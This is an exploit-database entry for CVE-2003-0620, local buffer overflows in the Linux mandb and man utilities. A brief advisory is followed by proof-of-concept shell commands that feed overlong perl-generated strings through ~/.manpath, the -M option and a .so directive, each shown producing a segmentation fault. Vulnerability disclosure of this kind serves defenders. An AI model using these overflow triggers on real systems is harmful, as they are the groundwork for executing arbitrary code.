ManDB Utility 2.3/2.4 - Local Buffer Overflow

Author: V9
type: local
platform: linux
port: 
date_added: 2003-07-29  
date_updated: 2012-11-28  
verified: 1  
codes: CVE-2003-0620;OSVDB-10253  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 22971.txt  
source: https://www.securityfocus.com/bid/8303/info

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault